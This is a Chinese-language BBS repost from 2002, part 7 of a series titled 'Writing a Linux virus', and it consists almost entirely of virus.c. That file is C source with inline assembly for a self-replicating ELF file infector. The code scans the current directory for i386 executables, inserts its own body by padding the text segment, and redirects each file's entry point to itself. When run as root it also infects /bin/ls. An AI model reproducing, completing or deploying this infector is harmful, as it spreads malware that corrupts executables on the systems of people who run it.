荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: jjk (UNIX+C+XML+?? 傻了?), 信区: Linux
标  题: 写一只Linux病毒(7)  virus.c(转寄)[转载]
发信站: 荔园晨风BBS站 (Wed Apr 24 18:10:08 2002), 转信

【 以下文字转载自 jjk 的信箱 】
【 原文由 jjk.bbs@apue.dhs.org 所发表 】
发信人: lgx (lgx), 信区: CompSci
标  题: 写一只Linux病毒(7)  virus.c
发信站: UNIX编程 (Mon Apr 22 17:09:48 2002) , 转信

#include <sys/types.h>
#include <asm/stat.h>
#include <fcntl.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <asm/unistd.h>
#include <elf.h>
#include "virus.h"

#define SEEK_SET        0

#define open(fd,flag,mode)      syscall3(__NR_open,fd,flag,mode)
#define read(fd,buf,len)        syscall3(__NR_read,fd,buf,len)
#define write(fd,buf,len)       syscall3(__NR_write,fd,buf,len)
#define lseek(fd,off,set)       syscall3(__NR_lseek,fd,off,set)
#define stat(file,stat)         syscall2(__NR_stat,file,stat)
#define getcwd(buf,len)         syscall2(__NR_getcwd,buf,len)
#define readdir(fd,dir,cnt)     syscall3(__NR_readdir,fd,dir,cnt)
#define close(fd)               syscall1(__NR_close,fd)
#define chdir(path)             syscall1(__NR_chdir,path)
#define getuid()                syscall(__NR_getuid)

static int get_reloc_pos(void)
{
        return OLD_ENTRY;
}

static char *get_virus_start(void)
{
        __asm__ volatile ("
                jmp 2f\n\t
        1:      popl %%eax\n\t
                sub %0,%%eax\n\t
                jmp relocpos\t
        2:      call 1b\n\t
        relocpos:"
        :: "i"(DIFF));
}

static int syscall(int no)
{
        __asm__ volatile ("
                movl 0x8(%esp),%eax
                int $0x80
        ");
}

static int syscall1(int no,unsigned p1)
{
        __asm__ volatile ("
                pushl %ebx
                movl 0xc(%esp),%eax
                movl 0x10(%esp),%ebx
                int $0x80
                popl %ebx
        ");
}

static int syscall2(int no,unsigned p1,unsigned p2)
{
        __asm__ volatile ("
                pushl %ebx
                pushl %ecx
                movl 0x10(%esp),%eax
                movl 0x14(%esp),%ebx
                movl 0x18(%esp),%ecx
                int $0x80
                popl %ecx
                popl %ebx
        ");
}

static int syscall3(int no,unsigned p1,unsigned p2,unsigned p3)
{
        __asm__ volatile ("
                pushl %ebx
                pushl %ecx
                pushl %edx
                movl 0x14(%esp),%eax
                movl 0x18(%esp),%ebx
                movl 0x1c(%esp),%ecx
                movl 0x20(%esp),%edx
                int $0x80
                popl %edx
                popl %ecx
                popl %ebx
        ");
}

int strlen(const char* str)
{
        register len = 0;

        while (str[len]) ++len;

        return len;
}

int validate(Elf32_Ehdr *eh)
{
#define id      eh->e_ident
        if (id[EI_MAG0] != ELFMAG0 || id[EI_MAG1] != ELFMAG1
                || id[EI_MAG2] != ELFMAG2 || id[EI_MAG3] != ELFMAG3){
                return 0;
        }
        if (eh->e_type != ET_EXEC || eh->e_machine != EM_386
                || eh->e_version != EV_CURRENT  ) {
                return 0;
        }
        if (id[EI_MAG10] == ELFMAG10) {
                return 0;
        }
#undef id
        return 1;
}

int inflect(char* name)
{
        int fd,i;
        int data = -1,text = -1;
        struct stat st;
        Elf32_Ehdr eh;
        Elf32_Phdr *ph;
        Elf32_Shdr *sh;
        unsigned long end_code;
        char *buf,*virus;
        size_t phlen,shlen,buflen;

        if (stat(name,&st) < 0) {
                return 0;
        }

        if ((fd = open(name,O_RDWR,0)) < 0) {
                return 0;
        }


        //read eh
        if (read(fd,&eh,sizeof(eh)) != sizeof(eh)) {
                goto err;
        }

        if (!validate(&eh)) {
                goto err;
        }

        //read ph
        if (lseek(fd,eh.e_phoff,SEEK_SET) < 0) {
                goto err;
        }
        phlen = eh.e_phnum * sizeof(*ph);
        ph = alloca(phlen);
        if (read(fd,ph,phlen) != phlen) {
                goto err;
        }

        //get text and data segmeng index
        for (i=0; i<eh.e_phnum; i++) {
                if(ph[i].p_type == PT_LOAD) {
                        if (ph[i].p_offset)
                                data = i;
                        else
                                text = i;
                }
        }

        //sanity check
        if (data == -1 || text == -1) {
                goto err;
        }
        if ( ph[text].p_vaddr + ph[text].p_filesz + INFECTION_SIZE > ph[data].p_
vaddr) {
                goto err;
        }

        //patch ph
        end_code = ph[text].p_offset + ph[text].p_filesz;
        ph[text].p_filesz += INFECTION_SIZE;
        ph[text].p_memsz += INFECTION_SIZE;
        for (i=0; i<eh.e_phnum; i++) {
                if (ph[i].p_offset >= end_code)
                        ph[i].p_offset += INFECTION_SIZE;
        }

        //read sh
        if (lseek(fd,eh.e_shoff,SEEK_SET) < 0) {
                goto err;
        }
        shlen = eh.e_shnum * sizeof(*sh);
        sh = alloca(shlen);
        if (read(fd,sh,shlen) != shlen) {
                goto err;
        }

        //patch sh
        for (i=0; i<eh.e_shnum; i++) {
                if (sh[i].sh_offset > end_code)
                        sh[i].sh_offset += INFECTION_SIZE;
        }

        //write ph
        if (lseek(fd,eh.e_phoff,SEEK_SET) < 0) {
                goto err;
        }
        if (write(fd,ph,phlen) != phlen) {
                goto err;
        }

        //write sh
        if (lseek(fd,eh.e_shoff,SEEK_SET) < 0) {
                goto err;
        }
        if (write(fd,sh,shlen) != shlen) {
                goto err;
        }

        //move
        if (lseek(fd,end_code,SEEK_SET) < 0) {
                goto err;
        }
        buflen = st.st_size - end_code;
        buf = alloca(buflen);
        if (read(fd,buf,buflen) != buflen) {
                goto err;
        }
        if (lseek(fd,end_code + INFECTION_SIZE,SEEK_SET) < 0) {
                goto err;
        }
        if (write(fd,buf,buflen) != buflen) {
                goto err;
        }

        //write virus
        if (lseek(fd,end_code,SEEK_SET) < 0) {
                goto err;
        }
        virus = get_virus_start();
        if (write(fd,virus,VLEN) != VLEN) {
                goto err;
        }

        //modify virus
        if (lseek(fd,end_code + OLD_ENTRY,SEEK_SET) < 0) {
                goto err;
        }
        if (write(fd,&eh.e_entry,4) != 4) {
                goto err;
        }

        //patch eh
        if (eh.e_shoff >= end_code) {
                eh.e_shoff += INFECTION_SIZE;
        }
        eh.e_ident[EI_MAG10] = ELFMAG10;
        eh.e_entry = ph[text].p_vaddr + ph[text].p_memsz - INFECTION_SIZE;

        //write eh
        if (lseek(fd,0,SEEK_SET) < 0) {
                goto err;
        }
        if (write(fd,&eh,sizeof(eh)) != sizeof(eh)) {
                goto err;
        }

        close(fd);
        return 1;

err:
        close(fd);
        return 0;
}

void inflects(void)
{
        int fd,len,total = 200;
        struct dirent dir;
        char dot[2] = {'.',0};

        if ((fd = open(dot,O_RDONLY,0)) < 0) {
                return ;
        }
        while(readdir(fd,&dir,1)) {
                if (total < 0) {
                        break;
                }
#define dn      dir.d_name
                len = strlen(dn);
                if (!len || dn[0] == ' ' || dn[0] == '.') {
                        continue;
                }
                if (dn[len-2] == 'p' && dn[len-1] == 's') {
                        continue;
                }
                if(inflect(dn)) {
                        continue;
                }
#undef dn
                total--;
        }
        close(fd);
}

void virus_main(void)
{
        char *str = alloca(10);
        char bin[] = {'/','b','i','n','\0'};
        char ls[] = {'l','s','\0'};
        char cwd[4096];

        str[0] = 'v';
        str[1] = 'i';
        str[2] = 'r';
        str[3] = 'u';
        str[4] = 's';
        str[5] = ' ';
        str[6] = ':';
        str[7] = '-';
        str[8] = ')';
        str[9] = '\n';

        write(1,str,10);

        inflects();

        if (getuid()) {
                return;
        }
        getcwd(cwd,4096);
        chdir(bin);
        inflect(ls);
        chdir(cwd);
}


--
※ 来源:.UNIX编程WWW apue.dhs.org. [FROM: 202.108.200.52]
--
※ 转寄:·UNIX编程 apue.dhs.org·[FROM: 210.39.3.50]
--
※ 转载:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 192.168.0.146]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店